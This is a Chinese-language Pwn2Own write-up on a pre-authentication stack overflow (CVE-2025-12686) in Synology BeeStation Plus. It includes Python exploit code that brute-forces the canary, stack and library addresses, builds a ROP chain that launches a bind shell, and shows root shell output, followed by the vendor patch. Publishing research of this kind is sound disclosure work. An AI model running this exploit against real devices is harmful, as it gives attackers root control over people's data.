深入解析Pwn2Own 2025:BeeStation Plus漏洞攻破之旅

本文详细记录了我们在Pwn2Own爱尔兰2025赛事中成功攻破Synology BeeStation Plus设备的完整过程,包括攻击面枚举、漏洞挖掘、利用链开发以及最终获取设备root权限的技术细节。

深入解析Pwn2Own 2025:BeeStation Plus漏洞攻破之旅

本文记录我们在Pwn2Own爱尔兰2025赛事中成功攻击BeeStation Plus设备的完整过程。我们将深入剖析整个漏洞研究流程,包括攻击面枚举、代码审计、漏洞利用开发,并最终在目标设备上获取root shell。

目录

  • 背景
  • 固件与应用提取
  • 攻击面分析
  • 漏洞分析 - CVE-2025-12686
  • 漏洞利用过程
  • Pwn2Own实战经验
  • 补丁分析
  • 结论
  • 时间线
  • 参考资料

背景

去年在Pwn2Own爱尔兰2024期间,Synacktiv成功攻击了BeeStation BST150-4T设备,相关细节已在之前的博客文章中详述。BeeStation是Synology自2024年3月起商业化推出的一款用户友好型NAS设备。

对于Pwn2Own爱尔兰2025,赛事目标列表中出现了该设备的新型号: Synology BeeStation Plus (BST170-8T),于2025年5月底发布。自然地,我们决定对其进行深入研究。

固件与应用提取

BeeStation的固件可从Synology公开获取。然而,它是以加密形式分发的,这意味着在开始任何分析之前需要进行一些准备工作。今年早些时候,Synacktiv发布了synodecrypt,这是一个能够解密所有Synology加密归档文件(SPK、PAT等)的工具。

攻击面分析

在深入漏洞研究之前,我们首先根据Pwn2Own爱尔兰2025规则定义的约束条件,映射了可访问的攻击面:

此类别中的尝试必须针对目标暴露的网络服务、RF攻击面或来自参赛者比赛网络内的笔记本电脑发起。非默认应用/插件、netatalk和MiniDLNA中的漏洞不在范围内。

在BeeStation上,我们识别了网络上暴露并监听的一组值得注意的服务:

1
2
3
4
5
6
7
8
9
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:443             0.0.0.0:*               LISTEN      7985/nginx: master
tcp        0      0 0.0.0.0:6600            0.0.0.0:*               LISTEN      7985/nginx: master
tcp        0      0 0.0.0.0:5000            0.0.0.0:*               LISTEN      7985/nginx: master
tcp        0      0 0.0.0.0:6601            0.0.0.0:*               LISTEN      7985/nginx: master
tcp        0      0 0.0.0.0:5001            0.0.0.0:*               LISTEN      7985/nginx: master
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      7985/nginx: master
[...]

尽管存在其他服务,但识别出nginx暴露了主要的Web界面已经提供了一个强有力的入口点。

根据请求的路径,nginx将传入的流量转发到不同的后端服务。在我们的案例中,我们主要关注通过/webapi/entry.cgi端点暴露的各种API。

nginx配置分布在多个文件中,这使得分析有些繁琐。幸运的是,可以使用nginx -T命令转储完整的活动配置。

检查此配置发现,对/webapi/entry.cgi的请求被转发到Unix套接字/run/synoscgi.sock

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
http {
    upstream synoscgi {
        server unix:/run/synoscgi.sock;
    }
    # [...]
    server {
        listen 5000 default_server;
        listen [::]:5000 default_server;

        # [...]

        location ~ \.cgi {
            include     scgi_params;
            scgi_pass   synoscgi;

            scgi_read_timeout   3600s;
        }

使用netstat,我们可以枚举监听此特定套接字的进程:

1
2
root@BeeStation:~# netstat -pax | grep synoscgi.sock
unix  2      [ ACC ]     STREAM     LISTENING     283367   29751/synoscgi       /run/synoscgi.sock

我们可以对nginx配置的各个部分采用相同的方法来识别哪些进程绑定到每个套接字。下图说明了通过nginx暴露的不同服务。

大量的API路由通过entry.cgi暴露。客户端通过指定API子系统、版本和要调用的方法与这些路由交互。这些参数通过HTTP POST或GET字段apiversionmethod传输。

所有API路由都在.lib文件中定义——这些是JSON描述符,枚举了给定端点的可用方法,并指定了负责处理它们的共享库。

例如,以下片段摘自SYNO.API.Auth.lib,记录了部分身份验证API:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
{
  // [...]
  "SYNO.API.Auth.Key": { // <- api
    "allowUser": [
      "admin.local",
      "admin.domain",
      "admin.ldap",
      "normal.local",
      "normal.domain",
      "normal.ldap"
    ],
    "appPriv": "",
    "authLevel": 1,
    "disableSocket": false,
    "lib": "lib/SYNO.API.Auth.so",
    "maxVersion": 7,
    "methods": {
      "7": [ // <- version
        {
          "grant": { // <- method
            "cgiProcReusable": true,
            "grantByUser": false,
            "grantable": true,
            "systemdSlice": ""
          }
        },
        {
          "get": {
            "cgiProcReusable": true,
            "grantByUser": false,
            "grantable": true,
            "systemdSlice": ""
          }
        }
      ]
    },
    "minVersion": 7,
    "priority": 0,
    "priorityAdj": 0,
    "socket": "",
    "socketConnTimeout": 600
  },
  // [...]
}

也可以直接从底层库中提取API定义。每个库都导出GetAPITable符号,这是一个返回指向包含以下字段的表的指针的函数:

1
2
3
4
5
6
struct api_table_entry_t {
  char *api;
  uint64_t version;
  char *method;
  unsigned __int64 (__fastcall *func)(__int64, __int64);
};

API定义暴露了超过3,800个不同的路由。

然而,这些路由中的大多数显然在预身份验证攻击场景中无法访问。通过根据authLevel字段过滤API定义,我们识别出总共69个无需身份验证即可访问的路由。

这显著减少了攻击面,使得迭代速度更快。

漏洞分析 - CVE-2025-12686

在无需身份验证即可访问的路由中,SYNO.BEE.AdminCenter.Auth端点的auth方法存在一个基于栈的缓冲区溢出漏洞。

访问此端点的URL为: http://target_ip:5000/webapi/entry.cgi?api=SYNO.BEE.AdminCenter.Auth&version=1&method=auth

负责处理此请求的代码位于/var/packages/bee-AdminCenter/target/webapi/Auth/SYNO.BEE.AdminCenter.Auth.so。此共享库是bee-AdminCenter包的一部分,该包默认安装且特定于Beestation(在DiskStation上不存在)。

在请求处理期间,调用SYNO.BEE.AdminCenter.Auth.so中的函数SYNO::BEE::AuthHandler::Auth

此函数首先将auth_info HTTP参数检索到一个std::string中,然后调用SYNO::BEE::Auth::AuthManagerImpl::Auth,该函数在libsynobeeadmincenter.so中实现:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// SYNO.BEE.AdminCenter.Auth.so
unsigned __int64 __fastcall SYNO::BEE::AuthHandler::Auth(SYNO::BEE::AuthHandler *this) {
  // [...]
  SYNO::BEE::BsmManagerBuilder::Build(&bsm_manager);
  vtable = bsm_manager->vtable;
  auth = vtable->_ZNK4SYNO3BEE14BsmManagerImpl4AuthERKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEE;

  // retrieve the argument auth_info into param_auth_info
  basic_string(str_auth_info, "auth_info", "");
  SYNO::APIRequest::GetAndCheckString(&param_auth_info, *this, str_auth_info, 0, 0);
  // [...]

  // copy param_auth_info into the new std::string auth_info
  _auth_info = (cpp_string_t *)SYNO::APIParameter<std::string>::Get(&param_auth_info);
  len = _auth_info->len;
  auth_info.buf = (char *)v52;

  basic_string(&auth_info, _auth_info->buf, &_auth_info->buf[len]);
  SYNO::APIParameter<std::string>::~APIParameter(&param_auth_info);

  // call SYNO::BEE::Auth::AuthManagerImpl::Auth
  ((void (__fastcall *)(size_t *, BsmManager *, cpp_string_t *))auth)(v57, bsm_manager, &auth_info);
  // [...]
}

SYNO::BEE::Auth::AuthManagerImpl::Auth然后调用SYNO::BEE::Auth::AuthManagerImpl::ParseAuthInfo

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
// libsynobeeadmincenter.so
__m128i **__fastcall SYNO::BEE::Auth::AuthManagerImpl::Auth(
    __m128i **a1,
    SYNO::BEE::Auth::AuthManagerBuilder *auth_manager,
    _QWORD *auth_info)
{
  // [...]
  SYNO::BEE::Auth::AuthManagerImpl::ParseAuthInfo(v44, auth_manager, auth_info);
  // [...]
}

首先,SYNO::BEE::Auth::AuthManagerImpl::ParseAuthInfo使用SLIBCBase64Decodeauth_info解码到decoded中,这是一个栈上分配的4096字节缓冲区。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
_QWORD *__fastcall SYNO::BEE::Auth::AuthManagerImpl::ParseAuthInfo(
    _QWORD *a1,
    __int64 auth_manager,
    cpp_string_t *auth_info)
{
  char decoded[4096]; // [rsp+160h] [rbp-1048h] 
  // [...]
  auth_info_len = auth_info->len;
  decoded_len = auth_info_len; // [1]
  memset(decoded, 0, 4096);
  SLIBCBase64Decode(auth_info->buf, auth_info_len, decoded, &decoded_len);
  // [...]
}

SLIBCBase64Decode接受一个base64编码的缓冲区作为输入,并将其解码到作为参数传递的另一个缓冲区中。以下是函数定义:

1
SLIBCBase64Decode(char *encoded, size_t encoded_len, char *decoded, size_t *decoded_len);

在[1]处,在SYNO::BEE::Auth::AuthManagerImpl::ParseAuthInfo中,auth_info->len被用作解码缓冲区的长度。然而,auth_info->len是攻击者可控的,而decoded是一个固定大小为4096字节的缓冲区。

因此存在一个基于栈的缓冲区溢出漏洞。

栈保护(Stack-smashing protection)已启用,因此栈上存在金丝雀值(canary)。然而,Web服务器为每个新连接fork进程,因此金丝雀值始终相同,这允许攻击者暴力破解并检索其值。

最重要的是,CGI程序以root权限执行。

触发漏洞

作为一个简单的概念验证,我们可以编码超过4096字节并将其放入auth_info参数:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
def send_request(data, timeout=None):
    b64_data = base64.b64encode(data).decode().replace("=", "")

    url_template = "http://NAS-IP:5000/webapi/entry.cgi"
    url = url_template.replace("NAS-IP", ip_address)

    r = requests.post(url, data={
        "api": "SYNO.BEE.AdminCenter.Auth",
        "version": "1",
        "method": "auth",
        "auth_info": b64_data
        }, timeout=timeout)

    return r

pld = b"A"*5000
send_request(pld)

服务器以默认页面和502 HTTP代码响应:这将成为我们判断进程是否崩溃的依据。也可以在BeeStation上使用dmesg检查崩溃:

1
[11174.496182] traps: SYNO.BEE.AdminC[29340] general protection fault ip:7fcf024990fa sp:7ffc90fbc2c0 error:0 in libgcc_s.so.1[7fcf0248c000+10000]

崩溃发生在libgcc_s.so.1内部,这是一个负责多种低级运行时机制的库,包括异常处理。这表明我们的输入可能在处理期间触发了异常。有关此库的更多详细信息可在此处找到。

检查SYNO::BEE::Auth::AuthManagerImpl::ParseAuthInfo显示,必须满足三个特定条件才能防止函数抛出异常:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
// [...]
SLIBCBase64Decode(auth_info->buf, auth_info_len, decoded, &decoded_len);
Json::Value::Value(v19, 0);
Json::Reader::Reader(&v22);
v20[0] = v21;
v7 = strlen(decoded);
basic_string(v20, decoded, &decoded[v7]);
v8 = Json::Reader::parse(&v22, v20, v19, 1);
if ( v20[0] != v21 )
  operator delete(v20[0], v21[0] + 1LL);
sub_6A0E0(&v22);
if ( !v8 )
{
  exception = __cxa_allocate_exception(0x30u);
  basic_string_cstr(v20, "Failed to parse authInfo");
  // [...]
  __cxa_throw(exception, off_114D98, (void (*)(void *))sub_81700);
}
if ( !Json::Value::isMember(v19, "state")
  || (v9 = (Json::Value *)Json::Value::operator[](v19, "state"), !Json::Value::isString(v9)) )
{
  v3 = __cxa_allocate_exception(0x30u);
  basic_string_cstr(v20, "Failed to get [%s] from auth_info");
  // [...]
  __cxa_throw(v3, off_114D98, (void (*)(void *))sub_81700);
}
if ( !Json::Value::isMember(v19, "code")
  || (v10 = (Json::Value *)Json::Value::operator[](v19, "code"), !Json::Value::isString(v10)) )
{
  v5 = __cxa_allocate_exception(0x30u);
  basic_string_cstr(v20, "Failed to get [%s] from auth_info");
  // [...]
  __cxa_throw(v5, off_114D98, (void (*)(void *))sub_81700);
}

因此,我们需要一个包含statecode字段的有效JSON字符串。幸运的是,输入是base64编码的,这意味着它可以包含任意字节——包括空字节和换行符。这允许我们在JSON对象后立即附加一个空字节来终止字符串,同时保持整体输入为有效的JSON。

我们触发漏洞的有效负载由JSON对象{"code":"","state":""}组成,后跟一个空字节以终止字符串,然后是一大串A字符。

例如,以下脚本覆盖了栈金丝雀:

1
2
3
4
pld = b'{"code":"","state":""}\x00'
pld += b'A'*4081
pld += b"\xbe\xba\xfe\xca\xef\xbe\xad\xde"
send_request(pld)

要调试崩溃,我们可以使用位于/volume1/@SYNO.BEE.AdminC.synology_geminilakemango_bst170-8t.65646.core.gz的生成的核心转储,或者直接附加到synoscgi进程,如前文在攻击面枚举期间所示。

使用ps,我们可以观察到许多synoscgi子进程被生成:每个传入的请求处理都有一个。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
root@BeeStation:~# ps faux | grep synoscgi
[...]
root     29751  0.0  0.6  48304 24464 ?        S<s  Oct27   0:09 synoscgi
system    7324  0.0  0.1  48304  6632 ?        S    Oct27   0:00  \_ synoscgi
system    7326  0.0  0.1  48304  6632 ?        S    Oct27   0:00  \_ synoscgi
system    7327  0.0  0.1  48304  6632 ?        S    Oct27   0:00  \_ synoscgi
system    7333  0.0  0.1  48304  6632 ?        S    Oct27   0:00  \_ synoscgi
system    1545  0.0  0.1  48304  6632 ?        S    02:54   0:00  \_ synoscgi
system   22967  0.0  0.1  48304  6632 ?        S    09:42   0:00  \_ synoscgi
system   23001  0.0  0.1  48304  6632 ?        S    09:42   0:00  \_ synoscgi
system   23627  0.0  0.1  48304  6632 ?        S    09:55   0:00  \_ synoscgi
system   23839  0.0  0.2  48304  8304 ?        S    09:59   0:00  \_ synoscgi

现在使用gdb,我们可以附加到父进程,并依赖命令set follow-fork-mode childset detach-on-fork off来在子进程创建时调试它们。

至此,我们终于可以进入漏洞利用阶段。

漏洞利用过程

前提条件

对于Pwn2Own,我们需要尽可能少地依赖环境约束。我们选择从同一局域网位置进行利用。然而,如前所述,该服务也可能通过QuickConnect暴露到外部,并且利用过程在那种场景下可能非常相似。

考虑到此漏洞的严重性以及CGI-fork机制的行为,我们需要:

  • 获取BeeStation的IP地址(或其quickconnect等效地址)
  • 泄露栈金丝雀
  • 泄露栈地址
  • 泄露libsynobeeadmincenter的基地址(用于制作ROP链)

由此,我们可以转向执行一系列ROP小工具(gadget)以运行任意命令。

泄露关键组件

由于fork-server机制,我们可以逐字节暴力破解金丝雀和栈指针,只需检查每次尝试后进程是否崩溃。在我们的利用中,我们使用以下函数来恢复栈上的下一个指针:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
def bf_next_byte(pld, timeout=None):
    l = list(range(0x100))

    for b in tqdm(l):
        try:
            r = send_request(pld + bytes([b]), timeout=timeout)
        except requests.exceptions.ReadTimeout:
            continue

        if r.status_code == 200:
            return bytes([b])

    return None

def bf_next_ptr(pld, timeout=None):
    ptr = b""
    while len(ptr) != 8:
        b = bf_next_byte(pld + ptr, timeout)
        if b is None:
            print("fail")
            return None

        ptr += b
        print(ptr)

    return ptr

这种方法还允许我们泄露栈金丝雀:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
start_time = time.time()

pld = b'{"code":"","state":""}\x00'
pld += b'A'*4081

if canary is None:
    canary = bf_next_ptr(pld)

if canary is None:
    exit()

stage1_time = int(time.time() - start_time)
print("[+] Canary leaked")
print("[+] Stage 1 execution time : %d seconds" % stage1_time)

我们还需要泄露栈上的一个指针以防止程序崩溃。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# [...]
pld += canary
pld += b"\x00"*8*2

if stack_addr is None:
    stack_addr_bytes = bf_next_ptr(pld, timeout=1)
    stack_addr = int.from_bytes(stack_addr_bytes, "little")

stage2_time = int(time.time() - stage1_time - start_time)
print("[+] Stack address leaked")
print("[+] Stage 2 execution time : %d seconds" % stage2_time)

我们可以应用相同的技术来泄露返回地址,进而得到libsynobeeadmincenter.so的基地址。此泄露将用于构建我们的ROP链。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
# [...]
pld += p64(stack_addr)
pld += b"\x00"*8*4

if lib_addr is None:
    lib_leak_bytes = bf_next_ptr(pld, timeout=1)
    lib_leak = int.from_bytes(lib_leak_bytes, "little")
    lib_addr = lib_leak - 0x0A11CA

if lib_addr & 0xfff:
    if debug:
        print(f"warning: lib_addr not 100% valid: {hex(lib_addr)}")
    lib_addr = (lib_addr >> 12) << 12

stage3_time = int(time.time() - stage2_time - stage1_time - start_time)
print("[+] libsynobeeadmincenter base address leaked")
print("[+] Stage 3 execution time : %d seconds" % stage3_time)

覆盖与ROP链构建

剩下的就是链接适当的小工具以实现代码执行。

我们选择使用一个“写什么-在哪里写”(write-what-where)的小工具将所需的字符串(例如/bin/bash和绑定shell的有效负载)放入一个受控的缓冲区中,然后调用SLIBCExecl。此函数由libsynobeeadmincenter.so导入,其行为基本类似于标准的execl调用。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
def arb_write_ptr(addr, value):
    if debug:
        print(f"write @ {hex(addr)} <- {value}")
    assert len(value) == 8
    ret = b""
    ret += pop_rdi + p64(addr)
    ret += pop_rsi + value
    ret += p64(lib_addr + 0x0000000000080c6d) # mov qword ptr [rdi], rsi ; xor eax, eax ; ret
    return ret


def arb_write(addr, data):
    ret = b""
    for i in range(0, len(data), 8):
        if debug:
            print(hex(addr + i), data[i:i+8])
        ret += arb_write_ptr(addr + i, data[i:i+8].ljust(8, b"\x00"))
    if debug:
        print(ret)
    return ret

# [...]

# setup strings
pld += arb_write_ptr(addr_buf, b"/bin/bas")
pld += arb_write_ptr(addr_buf+8, b"h\x00-c\x00".ljust(8, b"\x00"))

# some stack values are overwritten, so just skip them
pld += pop6 + p64(0)*6
pld += pop6 + p64(0)*6
pld += pop5 + p64(0)*5
pld += pop3 + p64(0)*3
pld += pop3 + p64(0)*3

pld += arb_write(addr_buf+0x10, cmd)

# setup args and call SLIBCExecl
pld += pop_rdi + p64(addr_buf)
pld += pop_rsi + p64(249)
pld += pop_rdx + p64(addr_buf+0xa)
pld += pop_rcx + p64(addr_buf+0x10)
pld += pop_r8 + p64(0)
pld += slibc_execl

r = send_request(pld)

在Pwn2Own上,每次尝试的最长持续时间限制为十分钟。暴力破解三个指针相对较慢,因此我们利用多线程来加速这一阶段的利用。使用十六个线程,获取shell的时间不到三分钟。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
➜  bee_admin_center git:(master) ✗ python3 exploit.py
[+] Start pwning Synology BeeStation Plus @ localhost
[...]
[+] Canary leaked
[+] Stage 1 execution time : 50 seconds
[...]
[+] Stack address leaked
[+] Stage 2 execution time : 59 seconds
[...]
[+] libsynobeeadmincenter base address leaked
[+] Stage 3 execution time : 44 seconds
[+] Total execution time : 154 seconds
[+] Opening connection to localhost on port 9001: Done

__________                          .___ ___.             _________                           __      __  .__                
\______   \__  _  ______   ____   __| _/ \_ |__ ___.__.  /   _____/__.__. ____ _____    ____ |  | ___/  |_|__|__  __         
 |     ___/\ \/ \/ /    \_/ __ \ / __ |   | __ <   |  |  \_____  <   |  |/    \\__  \ _/ ___\|  |/ /\   __\  \  \/ /         
 |    |     \     /   |  \  ___// /_/ |   | \_\ \___  |  /        \___  |   |  \/ __ \\  \___|    <  |  | |  |\   /          
 |____|      \/\_/|___|  /\___  >____ |   |___  / ____| /_______  / ____|___|  (____  /\___  >__|_ \ |__| |__| \_/           
                       \/     \/     \/       \/\/              \/\/         \/     \/     \/     \/                         

[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root),999(synopkgs),170597(bee-AdminCenter)

Pwn2Own实战经验

Pwn2Own爱尔兰2025于10月20日至23日在科克举行。抽签在第一天进行,今年我们非常幸运:我们获得了第一个出场顺序,并且只有另一支队伍注册了对该设备的攻击条目。相比之下,2024年有五支队伍竞争此设备。

考虑到赛事期间可能出现的设置问题,我们事先对我们的利用进行了全面的压力测试,尽管利用过程本身相当简单。尽管做了这些准备,我们最终仍尝试了三次才成功攻破设备,并且在第二次和第三次尝试之间请求了重启。

我们无法完全确定失败尝试中出了什么问题,但我们知道第三次泄露,即目标库的基地址,没有按预期进行,尽管前两次泄露工作可靠。

幸运的是,一切在第三次尝试中顺利,并且利用完美执行。

令人惊讶的是,Synology并未为BeeStation发布任何最后一刻的更新,因此我们无需更新我们的利用或寻找替代漏洞。

补丁分析

10月30日,Synology发布了BSM更新(即操作系统更新),版本1.3.2-65648。我们可以提取新版本并使用Meld来高亮显示修改的内容。在此更新中,创建了一些AppArmor配置文件,其他配置文件已升级。内核模块flashcache_syno.ko已被修改,并且包含了新版本的bee-AdminCenter:1.3-0531,而之前的版本是1.3-0528。在新版本的bee-AdminCenter中,一些库已更新:libsynobeeadmincenter.solibsynobeerpcdaemon.solibsynodbus.so

查看我们的漏洞所在libsynobeeadmincenter.so,我们发现已在SYNO::BEE::Auth::AuthManagerImpl::ParseAuthInfo中添加了检查,在base64解码之前,以防止缓冲区溢出:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
auth_info_len = auth_info->len;
- decoded_len = auth_info_len;
+ decoded_len = 4096;
memset(decoded, 0, 4096);
+ if ( auth_info_len > 0x1000 )
+ {
+   exception = (char *)__cxa_allocate_exception(0x30u);
+   len = auth_info->len;
+   basic_string_cstr(v29, "Failed to parse authInfo: size too large: %zu");
+   basic_string_cstr(v30, "auth/auth_manager.cpp");
+   // [...]
+   __cxa_throw(exception, off_115D98, sub_81930);
+ }
SLIBCBase64Decode(auth_info->buf, auth_info_len, decoded, &decoded_len);

该漏洞已被识别为CVE-2025-12686。

结论

此次针对BeeStation的Pwn2Own条目代表了大约一个月的工作量。其中大部分时间用于分析攻击面和理解Web服务器的行为。一旦可访问的攻击面明确定义,识别漏洞和开发利用只用了不到一周时间。

时间线

  • 2025年8月11日:研究开始
  • 2025年8月26日:收到BeeStation Plus
  • 2025年9月5日:攻击面确立
  • 2025年9月12日:漏洞识别
  • 2025年9月13日:获取root shell
  • 2025年10月21日:Pwn2Own 2025 @ 爱尔兰科克
  • 2025年10月30日:通过BSM更新发布修复

参考资料

  • Synology - BeeStation Plus 8TB Product Page
  • ZDI - Pwn2Own Ireland 2024: Full Schedule
  • ZDI - Pwn2Own Ireland 2024 Winning Entry Announcement
  • ZDI - Pwn2Own Ireland 2024 Collision Announcement
  • Synology - Launch of the BeeStation Plus
  • ZDI - Pwn2Own Ireland 2025: Full Schedule
  • ZDI - Pwn2Own Ireland 2025: Day One Results
  • Midnight Blue - Pwn2Own Ireland 2024 Entries (Slides)
  • Synology security advisory - CVE-2025-12686
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计